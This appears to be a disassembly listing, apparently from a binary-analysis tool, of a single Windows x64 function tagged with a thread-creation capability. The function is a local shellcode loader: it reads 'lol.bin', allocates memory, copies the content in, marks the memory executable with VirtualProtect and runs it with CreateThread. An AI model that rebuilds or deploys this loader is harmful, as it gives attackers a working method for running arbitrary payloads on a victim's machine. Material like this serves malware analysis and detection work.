Function at 0x140001330
Capabilities:
Create thread

Disassembly:
push rdi
sub rsp, 0x40
mov rax, qword [0x140008008]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rdx, str.lol.bin
lea rcx, str.___LocalInjectionFromFile__File_:__s__n
call fcn.140001020
call fcn.140001080
mov rdi, rax
test rax, rax
jne 0x140001386
lea rcx, str.____Error_when_retrieving_file_content_n
call fcn.140001020
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140003370
add rsp, 0x40
pop rdi
ret
mov rdx, rdi
mov qword [rsp + 0x58], rsi
lea rcx, str.___File_content_at_:_0x_X_n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapSize]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400013de
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.____Error_when_retrieving_shellcode_size_n
call fcn.140001020
xor eax, eax
jmp 0x140001560
mov rdx, rsi
mov qword [rsp + 0x50], rbx
lea rcx, str.___File_size_0x_X_n
call fcn.140001020
mov r9d, 4
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001438
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.____Error_when_allocating_memory_n
call fcn.140001020
xor eax, eax
jmp 0x14000155b
mov rdx, rbx
lea rcx, str.___Memory_allocation_for_shellcode_at_:_0x_X_n
call fcn.140001020
test rsi, rsi
je 0x14000145a
mov r8, rsi
mov rdx, rdi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rcx, str.___Shellcode_successfully_copied_n
call fcn.140001020
lea r9, [rsp + 0x30]
mov r8d, 0x20
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400014b9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.____Error_when_changing_memory_protection_n
call fcn.140001020
xor eax, eax
jmp 0x14000155b
lea rcx, str.___Shellcode_now_executable_n
call fcn.140001020
xor eax, eax
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rsi, rax
test rax, rax
jne 0x140001509
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rcx, str.____Error_starting_thread_n
call fcn.140001020
xor eax, eax
jmp 0x14000155b
lea rcx, str.___Thread_created_n
call fcn.140001020
mov edx, 0xffffffff
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x140001542
lea rcx, str.____Error_waiting_for_thread_to_finish_n
call fcn.140001020
xor eax, eax
jmp 0x14000155b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140003370
add rsp, 0x40
pop rdi
ret